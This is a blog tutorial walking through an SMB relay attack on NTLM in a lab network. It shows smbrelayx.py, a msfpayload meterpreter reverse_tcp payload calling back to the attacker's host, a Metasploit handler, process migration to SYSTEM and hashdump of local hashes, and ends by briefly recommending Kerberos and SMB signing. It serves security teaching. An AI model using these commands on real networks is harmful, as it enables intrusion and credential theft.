In today’s blog post, we’ll talk about an attack… that works pretty much every time, in every infrastructure. We are going to discuss SMB Relay Attack.
SMB Relay Attack is a type of attack which relies on NTLM Version 2 authentication that is normally used in the most of the companies.
Unfortunately, when we are listening to what is going on in the network, we’re able to capture a certain part of the traffic related to the authentication and also relay it to the other servers.
We can look at this from two different perspectives: the good and the bad depending on who is listening on.
The good perspective is when the actual user is the one trying to authenticate. The bad scenario comes up when a hacker is listening to the network in order to authenticate as one of the users and there is no password needed.
That sounds serious, right?
This kind of attack is very dangerous because anybody with access to the network can capture traffic, relay it and get unauthorised access to the servers.
Painting the Scenario
Let’s paint the scenario. Here we’ve got a server we’re calling SRV (check the video for the reference). In a normal traffic, when we have a user who wants to authenticate, for example using NTLM Version 2, the authentication challenge is sent originally to the destination server.
However, if there’s a hacker lurking around and listening to the network, he may be able to grab the part of the authentication process (challenge) and forward part of this traffic to either the same server where the user wanted to authenticate or to the other servers in the network.
What’s described above is the SMB Relay Attack, and as already mentioned, works in most infrastructures. Knowing how fairly easy this attack is, it’s pertinent to know how it works and how to prevent it. In today’s post, I will demonstrate, first, the attack and then we will discuss how best to prevent it. Let’s dive in.
The SMB Relay Attack
The image above represents Windows Client operating system with Task Manager opened and a lot of processes running. So here, we’ve got svchost.exe process with ID 964, running as a Local System account and that’s going to be the Process we will be impersonating into. 964 is the Process ID that we are interested in.
Let me connect to the Linux box. For this attack, we will be using Kali Linux. You need to download the Python script separately. The name of the script is smbrelayx.py and can be found in a impacket-master set of python scripts.
Let’s take a look at what the situation is. First of all, we need to double check our IP address configuration with the ifconfig and then we have the IP address 10.10.10.99. This is the attacker’s machine and our victim will be the Windows Client with IP address 10.10.10.250. Let me also use this opportunity to start the Metasploit console, so let’s run: msfconsole. While Metasploit is getting started, let me explain what is actually happening here.
In the first console (pictured above), we’re generating a payload which will be executed at the moment when we are authenticated to the client. This is a payload which will be delivered after the authentication over NTLM Version 2. The relay attack where we will be relaying that particular authentication challenge is in the another console. Let me take a moment to explain in details how this works now.
At execution, we will be launching smb_rev.exe which will use the reverse TCP connectivity to connect back to us while we are listening. There are actually three stages of the attack:
One is, of course, the relay. We have to have something to relay, so we need to generate a payload which brings us to the second stage. The third stage, which is within Metasploit, is where we set up the handler which listens to incoming connections.
Setting up Metasploit
Setting up Metasploit when it is already launched is quite easy. We will run: use exploit/multi/handler, to be in the context. Then we have to specify our payload. It’s going to be set payloadwindows/meterpreter/reverse_tcp. We can also use Tab key to automatically fill up what we are going to write.
First, let’s generate the payload, for that we need: msfpayload. Then we need to specify the payload type: windows/meterpreter/reverse_tcp. We will be connecting back to the hacker’s machine, so we will use 10.10.10.99 on the port 4444 and then that’s going to be saved in the executable that will be executed on the client’s side.
Of course, we can also use msfvenom. There are many possibilities but we can do it this way which doesn’t take too long. The final command looks like this: Msfpayload -p windows/meterpreter/reverse_tcp LHOST=nasz LPORT=4444 X > smb_rev.exe.
Once the payload is generated and set up, we can run show options just to make sure everything is okay. It can be that the local port is fine, but we also should set localhost by issuing set lhost 10.10.10.99 as this is where the victim will be connecting to. Everything is now set up and we can exploit. Now, we are listening.
Let Us Communicate
At this point, no one is really communicating with us and we are just listening. In order to start communicating, we need to set up our relay attack. When authentication happens, it is similar to the steps that follow below:
- The client first requests to authenticate and gain access to a particular place.
- The server then replies with a challenge which involves the client encrypting a certain message with its hash.
- When the client encrypts the challenge with its hash, the server then tries to decrypt the encrypted challenge (using the client’s hash which the server already knows) and then authenticates the client.
However, during our attack, all we have to play is the role of the man-in-the-middle. Simply speaking, what we will do is the authentication by forwarding the particular challenge information to the server.
Effectively, what will happen is that we will be able to authenticate to the server as a client that wanted to authenticate, for example, even somewhere else. As long as we’ve got that particular data and we’re able to forward it, then we will able to authenticate. We should be able to get access to the server as long as we pass the encrypted response to the particular target.
Attack in Action
We are all set and we can start the relay attack. We are, right now, waiting for any type of challenge that could happen within this particular network. This is a very small environment, so there is not much we’ve got to play around, but in a normal network you’re going to see a lot of communication.
What we can do is to enforce that situation a little bit. I will switch, for example to the web server which is an absolutely unrelated server and I will try to get access to 10.10.10.99 by using the IP address. It could be by IP address or by short name to any place where we are using NTLM for authentication. I will switch to the Linux box quickly then.
What happened right now is that we got, of course, our connection and we managed to capture the challenge we’re using for authentication. I will run migrate 964 to move to a little bit more stable process because, as you see, we already have one session opened on this particular server.
Migration completed successfully.
Great!!! Now, you could be wondering why I specified the Process ID, in this case.
What would happen if I don’t know it?
In the real attack when you are at that stage, before typing migrate you do ps to list all the processes and then you find out the process running as a Local System, in order to be able to specify that process ID for the migration.
I kind of secured myself to make sure that everything is going to work out in a demo by specifying the process ID before even displaying it.
But in the video you are also able to spot that particular process ID too when I run the ps command. For a clearer view, we can also do this:
We have the process IDs listed. Process ID is the column on the left, so we’ve got the list of the process and also our svchost that we used in order to migrate to the process. Lovely!
We can also do hashdump since we are already on the client machine and as you see these are the hashes below, so lmhash and nthash of the local users. In the next stage, we can run shell, and then we can run whoami and you see that I am a Local System here. We can run hostname and we are on a Windows Client.
This is all pretty amazing because Windows client was not engaged in the whole communication, it was a web server, 10.10.10.200 in our case, trying to authenticate to 10.10.10.99 which is our hacker’s machine simulating regular connection. Effectively Windows client, which was absolutely not related was, in this case, a victim. This is the whole story with the SMB Relay attack.
Tools Needed For the Attack
To get appropriate tools for this attack, you need to download smbrelayx.py which is in the impacket-master set of Python scripts and then the rest of the tools you’ve got in the Kali Linux.
The Solution to SMB Relay Attack
For now, you have learned how to perform SMB relay attack by using smbrelayx.py Python script. Unfortunately, as I already mentioned, this is an attack that pretty much always works in every organization because most of them use NTLM for authentication. That’s a big problem. The solution for that, ideally, is to move to Kerberos as the authentication protocol for the enterprise and optionally use SMB Signing.
Hopefully, it was useful and interesting for you learning as it was for me teaching. I’m looking forward to sharing more knowledge with you on our next blog post. If you have any issues or questions, please comment below.